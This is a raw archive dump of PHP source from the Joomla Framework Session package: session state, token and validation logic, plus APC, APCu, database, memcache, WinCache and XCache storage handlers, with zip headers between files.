// Check if a token exists in the session
$tStored = $this->get('session.token');
// Check token
if (($tStored !== $tCheck))
{
if ($forceExpire)
{
$this->setState('expired');
}
return false;
}
return true;
}
/**
* Retrieve an external iterator.
*
* @return \ArrayIterator Return an ArrayIterator of $_SESSION.
*
* @since 1.0
*/
public function getIterator()
{
return new \ArrayIterator($_SESSION);
}
/**
* Get session name
*
* @return string The session name
*
* @since 1.0
*/
public function getName()
{
if ($this->getState() === 'destroyed')
{
// @codingStandardsIgnoreLine
return;
}
return session_name();
}
/**
* Get session id
*
* @return string The session name
*
* @since 1.0
*/
public function getId()
{
if ($this->getState() === 'destroyed')
{
// @codingStandardsIgnoreLine
return;
}
return session_id();
}
/**
* Get the session handlers
*
* @return array An array of available session handlers
*
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
public static function getStores()
{
$connectors = array();
// Get an iterator and loop trough the driver classes.
$iterator = new \DirectoryIterator(__DIR__ . '/Storage');
foreach ($iterator as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Derive the class name from the type.
$class = str_ireplace('.php', '',
'\\Joomla\\Session\\Storage\\' . ucfirst(trim($fileName)));
// If the class doesn't exist we have nothing left to do but look
at the next type. We did our best.
if (!class_exists($class))
{
continue;
}
// Sweet! Our class exists, so now we just need to know if it passes
its test method.
if ($class::isSupported())
{
// Connector names should not have file extensions.
$connectors[] = str_ireplace('.php', '',
$fileName);
}
}
return $connectors;
}
/**
* Shorthand to check if the session is active
*
* @return boolean
*
* @since 1.0
*/
public function isActive()
{
return (bool) ($this->getState() == 'active');
}
/**
* Check whether this session is currently created
*
* @return boolean True on success.
*
* @since 1.0
*/
public function isNew()
{
$counter = $this->get('session.counter');
return (bool) ($counter === 1);
}
/**
* Check whether this session is currently created
*
* @param Input $input Input object for the session
to use.
* @param DispatcherInterface $dispatcher Dispatcher object for the
session to use.
*
* @return void
*
* @since 1.0
* @deprecated 2.0 In 2.0 the DispatcherInterface should be injected via
the object constructor
*/
public function initialise(Input $input, DispatcherInterface $dispatcher =
null)
{
$this->input = $input;
$this->dispatcher = $dispatcher;
}
/**
* Get data from the session store
*
* @param string $name Name of a variable
* @param mixed $default Default value of a variable if not set
* @param string $namespace Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
*
* @return mixed Value of a variable
*
* @since 1.0
*/
public function get($name, $default = null, $namespace =
'default')
{
// Add prefix to namespace to avoid collisions
$namespace = '__' . $namespace;
if ($this->getState() !== 'active' &&
$this->getState() !== 'expired')
{
return;
}
if (isset($_SESSION[$namespace][$name]))
{
return $_SESSION[$namespace][$name];
}
return $default;
}
/**
* Set data into the session store.
*
* @param string $name Name of a variable.
* @param mixed $value Value of a variable.
* @param string $namespace Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
*
* @return mixed Old value of a variable.
*
* @since 1.0
*/
public function set($name, $value = null, $namespace =
'default')
{
// Add prefix to namespace to avoid collisions
$namespace = '__' . $namespace;
if ($this->getState() !== 'active')
{
return;
}
$old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name]
: null;
if ($value === null)
{
unset($_SESSION[$namespace][$name]);
}
else
{
$_SESSION[$namespace][$name] = $value;
}
return $old;
}
/**
* Check whether data exists in the session store
*
* @param string $name Name of variable
* @param string $namespace Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
*
* @return boolean True if the variable exists
*
* @since 1.0
*/
public function has($name, $namespace = 'default')
{
// Add prefix to namespace to avoid collisions.
$namespace = '__' . $namespace;
if ($this->getState() !== 'active')
{
// @codingStandardsIgnoreLine
return;
}
return isset($_SESSION[$namespace][$name]);
}
/**
* Unset data from the session store
*
* @param string $name Name of variable
* @param string $namespace Namespace to use, default to
'default' {@deprecated 2.0 Namespace support will be removed.}
*
* @return mixed The value from session or NULL if not set
*
* @since 1.0
*/
public function clear($name, $namespace = 'default')
{
// Add prefix to namespace to avoid collisions
$namespace = '__' . $namespace;
if ($this->getState() !== 'active')
{
// @TODO :: generated error here
return;
}
$value = null;
if (isset($_SESSION[$namespace][$name]))
{
$value = $_SESSION[$namespace][$name];
unset($_SESSION[$namespace][$name]);
}
return $value;
}
/**
* Start a session.
*
* @return void
*
* @since 1.0
*/
public function start()
{
if ($this->getState() === 'active')
{
return;
}
$this->_start();
$this->setState('active');
// Initialise the session
$this->_setCounter();
$this->_setTimers();
// Perform security checks
$this->_validate();
if ($this->dispatcher instanceof DispatcherInterface)
{
$this->dispatcher->triggerEvent('onAfterSessionStart');
}
}
/**
* Start a session.
*
* Creates a session (or resumes the current one based on the state of the
session)
*
* @return boolean true on success
*
* @since 1.0
* @deprecated 2.0
*/
protected function _start()
{
// Start session if not started
if ($this->getState() === 'restart')
{
session_regenerate_id(true);
}
else
{
$session_name = session_name();
// Get the Joomla\Input\Cookie object
$cookie = $this->input->cookie;
if ($cookie->get($session_name) === null)
{
$session_clean = $this->input->get($session_name, false,
'string');
if ($session_clean)
{
session_id($session_clean);
$cookie->set($session_name, '', array('expires'
=> 1));
}
}
}
/**
* Write and Close handlers are called after destructing objects since
PHP 5.0.5.
* Thus destructors can use sessions but session handler can't use
objects.
* So we are moving session closure before destructing objects.
*
* Replace with session_register_shutdown() when dropping compatibility
with PHP 5.3
*/
register_shutdown_function('session_write_close');
session_cache_limiter('none');
session_start();
return true;
}
/**
* Frees all session variables and destroys all data registered to a
session
*
* This method resets the $_SESSION variable and destroys all of the data
associated
* with the current session in its storage (file or DB). It forces new
session to be
* started after this method is called. It does not unset the session
cookie.
*
* @return boolean True on success
*
* @see session_destroy()
* @see session_unset()
* @since 1.0
*/
public function destroy()
{
// Session was already destroyed
if ($this->getState() === 'destroyed')
{
return true;
}
/*
* In order to kill the session altogether, such as to log the user out,
the session id
* must also be unset. If a cookie is used to propagate the session id
(default behavior),
* then the session cookie must be deleted.
*/
$cookie = session_get_cookie_params();
$cookieOptions = array(
'expires' => 1,
'path' => $cookie['path'],
'domain' => $cookie['domain'],
'secure' => $cookie['secure'],
'httponly' => true,
);
if (isset($cookie['samesite']))
{
$cookieOptions['samesite'] = $cookie['samesite'];
}
$this->input->cookie->set($this->getName(), '',
$cookieOptions);
session_unset();
session_destroy();
$this->setState('destroyed');
return true;
}
/**
* Restart an expired or locked session.
*
* @return boolean True on success
*
* @see destroy
* @since 1.0
*/
public function restart()
{
$this->destroy();
if ($this->getState() !== 'destroyed')
{
// @TODO :: generated error here
return false;
}
// Re-register the session handler after a session has been destroyed, to
avoid PHP bug
$this->store->register();
$this->setState('restart');
// Regenerate session id
session_regenerate_id(true);
$this->_start();
$this->setState('active');
$this->_validate();
$this->_setCounter();
return true;
}
/**
* Create a new session and copy variables from the old one
*
* @return boolean $result true on success
*
* @since 1.0
*/
public function fork()
{
if ($this->getState() !== 'active')
{
// @TODO :: generated error here
return false;
}
// Keep session config
$cookie = session_get_cookie_params();
// Kill session
session_destroy();
// Re-register the session store after a session has been destroyed, to
avoid PHP bug
$this->store->register();
// Restore config
if (version_compare(PHP_VERSION, '7.3', '>='))
{
session_set_cookie_params($cookie);
}
else
{
session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], $cookie['httponly']);
}
// Restart session with new id
session_regenerate_id(true);
session_start();
return true;
}
/**
* Writes session data and ends session
*
* Session data is usually stored after your script terminated without the
need
* to call JSession::close(), but as session data is locked to prevent
concurrent
* writes only one script may operate on a session at any time. When using
* framesets together with sessions you will experience the frames loading
one
* by one due to this locking. You can reduce the time needed to load all
the
* frames by ending the session as soon as all changes to session
variables are
* done.
*
* @return void
*
* @see session_write_close()
* @since 1.0
*/
public function close()
{
session_write_close();
}
/**
* Set the session expiration
*
* @param integer $expire Maximum age of unused session in minutes
*
* @return $this
*
* @since 1.3.0
*/
protected function setExpire($expire)
{
$this->expire = $expire;
return $this;
}
/**
* Set the session state
*
* @param string $state Internal state
*
* @return $this
*
* @since 1.3.0
*/
protected function setState($state)
{
$this->state = $state;
return $this;
}
/**
* Set session cookie parameters
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
protected function _setCookieParams()
{
$cookie = session_get_cookie_params();
if ($this->force_ssl)
{
$cookie['secure'] = true;
}
if ($this->cookie_domain)
{
$cookie['domain'] = $this->cookie_domain;
}
if ($this->cookie_path)
{
$cookie['path'] = $this->cookie_path;
}
$cookie['httponly'] = $this->cookie_httponly;
if ($this->cookie_samesite)
{
$cookie['samesite'] = $this->cookie_samesite;
}
if (version_compare(PHP_VERSION, '7.3', '>='))
{
session_set_cookie_params($cookie);
}
else
{
session_set_cookie_params($cookie['lifetime'],
$cookie['path'], $cookie['domain'],
$cookie['secure'], $cookie['httponly']);
}
}
/**
* Create a token-string
*
* @param integer $length Length of string
*
* @return string Generated token
*
* @since 1.0
* @deprecated 2.0 Use createToken instead
*/
protected function _createToken($length = 32)
{
return $this->createToken($length);
}
/**
* Create a token-string
*
* @param integer $length Length of string
*
* @return string Generated token
*
* @since 1.3.1
*/
protected function createToken($length = 32)
{
return bin2hex(random_bytes($length));
}
/**
* Set counter of session usage
*
* @return boolean True on success
*
* @since 1.0
* @deprecated 2.0 Use setCounter instead
*/
protected function _setCounter()
{
return $this->setCounter();
}
/**
* Set counter of session usage
*
* @return boolean True on success
*
* @since 1.3.0
*/
protected function setCounter()
{
$counter = $this->get('session.counter', 0);
++$counter;
$this->set('session.counter', $counter);
return true;
}
/**
* Set the session timers
*
* @return boolean True on success
*
* @since 1.0
* @deprecated 2.0 Use setTimers instead
*/
protected function _setTimers()
{
return $this->setTimers();
}
/**
* Set the session timers
*
* @return boolean True on success
*
* @since 1.3.0
*/
protected function setTimers()
{
if (!$this->has('session.timer.start'))
{
$start = time();
$this->set('session.timer.start', $start);
$this->set('session.timer.last', $start);
$this->set('session.timer.now', $start);
}
$this->set('session.timer.last',
$this->get('session.timer.now'));
$this->set('session.timer.now', time());
return true;
}
/**
* Set additional session options
*
* @param array $options List of parameter
*
* @return boolean True on success
*
* @since 1.0
* @deprecated 2.0 Use setOptions instead
*/
protected function _setOptions(array $options)
{
return $this->setOptions($options);
}
/**
* Set additional session options
*
* @param array $options List of parameter
*
* @return boolean True on success
*
* @since 1.3.0
*/
protected function setOptions(array $options)
{
// Set name
if (isset($options['name']))
{
session_name(md5($options['name']));
}
// Set id
if (isset($options['id']))
{
session_id($options['id']);
}
// Set expire time
if (isset($options['expire']))
{
$this->setExpire($options['expire']);
}
// Get security options
if (isset($options['security']))
{
$this->security = explode(',',
$options['security']);
}
if (isset($options['force_ssl']))
{
$this->force_ssl = (bool) $options['force_ssl'];
}
if (isset($options['cookie_domain']))
{
$this->cookie_domain = $options['cookie_domain'];
}
if (isset($options['cookie_path']))
{
$this->cookie_path = $options['cookie_path'];
}
if (isset($options['cookie_httponly']))
{
$this->cookie_httponly = (bool)
$options['cookie_httponly'];
}
if (isset($options['cookie_samesite']))
{
$this->cookie_samesite = $options['cookie_samesite'];
}
// Sync the session maxlifetime
if (!headers_sent())
{
ini_set('session.gc_maxlifetime', $this->getExpire());
}
return true;
}
/**
* Do some checks for security reason
*
* - timeout check (expire)
* - ip-fixiation
* - browser-fixiation
*
* If one check failed, session data has to be cleaned.
*
* @param boolean $restart Reactivate session
*
* @return boolean True on success
*
* @link http://shiflett.org/articles/the-truth-about-sessions
* @since 1.0
* @deprecated 2.0 Use validate instead
*/
protected function _validate($restart = false)
{
return $this->validate($restart);
}
/**
* Do some checks for security reason
*
* - timeout check (expire)
* - ip-fixiation
* - browser-fixiation
*
* If one check failed, session data has to be cleaned.
*
* @param boolean $restart Reactivate session
*
* @return boolean True on success
*
* @link http://shiflett.org/articles/the-truth-about-sessions
* @since 1.3.0
*/
protected function validate($restart = false)
{
// Allow to restart a session
if ($restart)
{
$this->setState('active');
$this->set('session.client.address', null);
$this->set('session.client.forwarded', null);
$this->set('session.token', null);
}
// Check if session has expired
if ($this->getExpire())
{
$curTime = $this->get('session.timer.now', 0);
$maxTime = $this->get('session.timer.last', 0) +
$this->getExpire();
// Empty session variables
if ($maxTime < $curTime)
{
$this->setState('expired');
return false;
}
}
$remoteAddr =
$this->input->server->getString('REMOTE_ADDR',
'');
// Check for client address
if (\in_array('fix_adress', $this->security) &&
!empty($remoteAddr) && filter_var($remoteAddr, FILTER_VALIDATE_IP)
!== false)
{
$ip = $this->get('session.client.address');
if ($ip === null)
{
$this->set('session.client.address', $remoteAddr);
}
elseif ($remoteAddr !== $ip)
{
$this->setState('error');
return false;
}
}
$xForwardedFor =
$this->input->server->getString('HTTP_X_FORWARDED_FOR',
'');
// Record proxy forwarded for in the session in case we need it later
if (!empty($xForwardedFor) && filter_var($xForwardedFor,
FILTER_VALIDATE_IP) !== false)
{
$this->set('session.client.forwarded', $xForwardedFor);
}
return true;
}
}
PKƅ�[A�}���&session/Joomla/Session/Storage/Apc.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* APC session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed.
*/
class Apc extends Storage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('APC Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.0
* @deprecated 2.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apc_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function write($id, $session_data)
{
$sess_id = 'sess_' . $id;
return apc_store($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
return apc_delete($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
return \extension_loaded('apc');
}
}
PKƅ�[]1�Y��'session/Joomla/Session/Storage/Apcu.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* APCU session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.4.0
* @deprecated 2.0 The Storage class chain will be removed.
*/
class Apcu extends Storage
{
/**
* Constructor
*
* @param array $options Optional parameters
*
* @since 1.4.0
* @throws \RuntimeException
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('APCU Extension is not available',
404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.4.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
return (string) apcu_fetch($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.4.0
*/
public function write($id, $session_data)
{
$sess_id = 'sess_' . $id;
return apcu_store($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.4.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
return apcu_delete($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.4.0
*/
public static function isSupported()
{
return \extension_loaded('apcu');
}
}
PKƅ�[0�v�@@+session/Joomla/Session/Storage/Database.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Database\DatabaseDriver;
use Joomla\Session\Storage;
/**
* Database session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class Database extends Storage
{
/**
* The DatabaseDriver to use when querying.
*
* @var DatabaseDriver
* @since 1.0
* @deprecated 2.0
*/
protected $db;
/**
* Constructor
*
* @param array $options Optional parameters. A `dbo` options is
required.
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (isset($options['db']) && ($options['db']
instanceof DatabaseDriver))
{
parent::__construct($options);
$this->db = $options['db'];
}
else
{
throw new \RuntimeException(
sprintf('The %s storage engine requires a `db` option that is an
instance of Joomla\\Database\\DatabaseDriver.', __CLASS__)
);
}
}
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.0
* @deprecated 2.0
*/
public function read($id)
{
try
{
// Get the session data from the database table.
$query = $this->db->getQuery(true);
$query->select($this->db->quoteName('data'))
->from($this->db->quoteName('#__session'))
->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));
$this->db->setQuery($query);
return (string) $this->db->loadResult();
}
catch (\Exception $e)
{
return false;
}
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function write($id, $data)
{
try
{
$query = $this->db->getQuery(true);
$query->update($this->db->quoteName('#__session'))
->set($this->db->quoteName('data') . ' = '
. $this->db->quote($data))
->set($this->db->quoteName('time') . ' = '
. $this->db->quote((int) time()))
->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));
// Try to update the session data in the database table.
$this->db->setQuery($query);
if (!$this->db->execute())
{
return false;
}
// Since $this->db->execute did not throw an exception the query
was successful.
// Either the data changed, or the data was identical. In either case we
are done.
return true;
}
catch (\Exception $e)
{
return false;
}
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function destroy($id)
{
try
{
$query = $this->db->getQuery(true);
$query->delete($this->db->quoteName('#__session'))
->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));
// Remove a session from the database.
$this->db->setQuery($query);
return (boolean) $this->db->execute();
}
catch (\Exception $e)
{
return false;
}
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $lifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function gc($lifetime = 1440)
{
// Determine the timestamp threshold with which to purge old sessions.
$past = time() - $lifetime;
try
{
$query = $this->db->getQuery(true);
$query->delete($this->db->quoteName('#__session'))
->where($this->db->quoteName('time') . ' <
' . $this->db->quote((int) $past));
// Remove expired sessions from the database.
$this->db->setQuery($query);
return (boolean) $this->db->execute();
}
catch (\Exception $e)
{
return false;
}
}
}
PKƅ�[}��ll+session/Joomla/Session/Storage/Memcache.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* Memcache session storage handler for PHP
*
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class Memcache extends Storage
{
/**
* Container for server data
*
* @var array
* @since 1.0
* @deprecated 2.0
*/
protected $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('Memcache Extension is not
available', 404);
}
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
isset($options['memcache_server_host']) ?
$options['memcache_server_host'] : 'localhost',
'port' =>
isset($options['memcache_server_port']) ?
$options['memcache_server_port'] : 11211,
),
);
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
public function register()
{
if (!headers_sent())
{
ini_set('session.save_path',
$this->_servers[0]['host'] . ':' .
$this->_servers[0]['port']);
ini_set('session.save_handler', 'memcache');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
return \extension_loaded('memcache') &&
class_exists('Memcache');
}
}
PKƅ�[)p�:gg,session/Joomla/Session/Storage/Memcached.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* Memcached session storage handler for PHP
*
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class Memcached extends Storage
{
/**
* Container for server data
*
* @var array
* @since 1.0
* @deprecated 2.0
*/
protected $_servers = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('Memcached Extension is not
available', 404);
}
// This will be an array of loveliness
// @todo: multiple servers
$this->_servers = array(
array(
'host' =>
isset($options['memcache_server_host']) ?
$options['memcache_server_host'] : 'localhost',
'port' =>
isset($options['memcache_server_port']) ?
$options['memcache_server_port'] : 11211,
),
);
// Only construct parent AFTER host and port are sent, otherwise when
register is called this will fail.
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
public function register()
{
if (!headers_sent())
{
ini_set('session.save_path',
$this->_servers[0]['host'] . ':' .
$this->_servers[0]['port']);
ini_set('session.save_handler', 'memcached');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
/*
* GAE and HHVM have both had instances where Memcached the class was
defined but no extension was loaded.
* If the class is there, we can assume it works.
*/
return class_exists('Memcached');
}
}
PKƅ�[V����'session/Joomla/Session/Storage/None.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* Default PHP configured session handler for Joomla!
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class None extends Storage
{
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
public function register()
{
}
}
PKƅ�[�$ ��+session/Joomla/Session/Storage/Wincache.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* WINCACHE session storage handler for PHP
*
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class Wincache extends Storage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('Wincache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
public function register()
{
if (!headers_sent())
{
ini_set('session.save_handler', 'wincache');
}
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
return \extension_loaded('wincache') &&
\function_exists('wincache_ucache_get') &&
!strcmp(ini_get('wincache.ucenabled'), '1');
}
}
PKƅ�[��k� )session/Joomla/Session/Storage/Xcache.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session\Storage;
use Joomla\Session\Storage;
/**
* XCache session storage handler
*
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed
*/
class Xcache extends Storage
{
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.0
* @throws \RuntimeException
* @deprecated 2.0
*/
public function __construct($options = array())
{
if (!self::isSupported())
{
throw new \RuntimeException('XCache Extension is not
available', 404);
}
parent::__construct($options);
}
/**
* Read the data for a particular session identifier from the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.0
* @deprecated 2.0
*/
public function read($id)
{
$sess_id = 'sess_' . $id;
// Check if id exists
if (!xcache_isset($sess_id))
{
return '';
}
return (string) xcache_get($sess_id);
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function write($id, $session_data)
{
$sess_id = 'sess_' . $id;
return xcache_set($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
}
/**
* Destroy the data for a particular session identifier in the
SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function destroy($id)
{
$sess_id = 'sess_' . $id;
if (!xcache_isset($sess_id))
{
return true;
}
return xcache_unset($sess_id);
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
return \extension_loaded('xcache');
}
}
PKƅ�[�1&5��"session/Joomla/Session/Storage.phpnu�[���<?php
/**
* Part of the Joomla Framework Session Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Session;
use Joomla\Filter\InputFilter;
/**
* Custom session storage handler for PHP
*
* @link
https://www.php.net/manual/en/function.session-set-save-handler.php
* @since 1.0
* @deprecated 2.0 The Storage class chain will be removed.
*/
abstract class Storage
{
/**
* @var Storage[] Storage instances container.
* @since 1.0
* @deprecated 2.0
*/
protected static $instances = array();
/**
* Constructor
*
* @param array $options Optional parameters.
*
* @since 1.0
* @deprecated 2.0
*/
public function __construct($options = array())
{
$this->register($options);
}
/**
* Returns a session storage handler object, only creating it if it
doesn't already exist.
*
* @param string $name The session store to instantiate
* @param array $options Array of options
*
* @return Storage
*
* @since 1.0
* @deprecated 2.0
*/
public static function getInstance($name = 'none', $options =
array())
{
$filter = new InputFilter;
$name = strtolower($filter->clean($name, 'word'));
if (empty(self::$instances[$name]))
{
$class = '\\Joomla\\Session\\Storage\\' . ucfirst($name);
if (!class_exists($class))
{
$path = __DIR__ . '/storage/' . $name . '.php';
if (file_exists($path))
{
require_once $path;
}
else
{
// No attempt to die gracefully here, as it tries to close the
non-existing session
exit('Unable to load session storage class: ' . $name);
}
}
self::$instances[$name] = new $class($options);
}
return self::$instances[$name];
}
/**
* Register the functions of this class with PHP's session handler
*
* @return void
*
* @since 1.0
* @deprecated 2.0
*/
public function register()
{
if (!headers_sent())
{
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
}
}
/**
* Open the SessionHandler backend.
*
* @param string $save_path The path to the session object.
* @param string $session_name The name of the session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function open($save_path, $session_name)
{
return true;
}
/**
* Close the SessionHandler backend.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function close()
{
return true;
}
/**
* Read the data for a particular session identifier from the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 1.0
* @deprecated 2.0
*/
public function read($id)
{
return '';
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function write($id, $session_data)
{
return true;
}
/**
* Destroy the data for a particular session identifier in the
* SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function destroy($id)
{
return true;
}
/**
* Garbage collect stale sessions from the SessionHandler backend.
*
* @param integer $maxlifetime The maximum age of a session.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public function gc($maxlifetime = null)
{
return true;
}
/**
* Test to see if the SessionHandler is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.0
* @deprecated 2.0
*/
public static function isSupported()
{
return true;
}
}
PKƅ�[�P�E�Estring/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
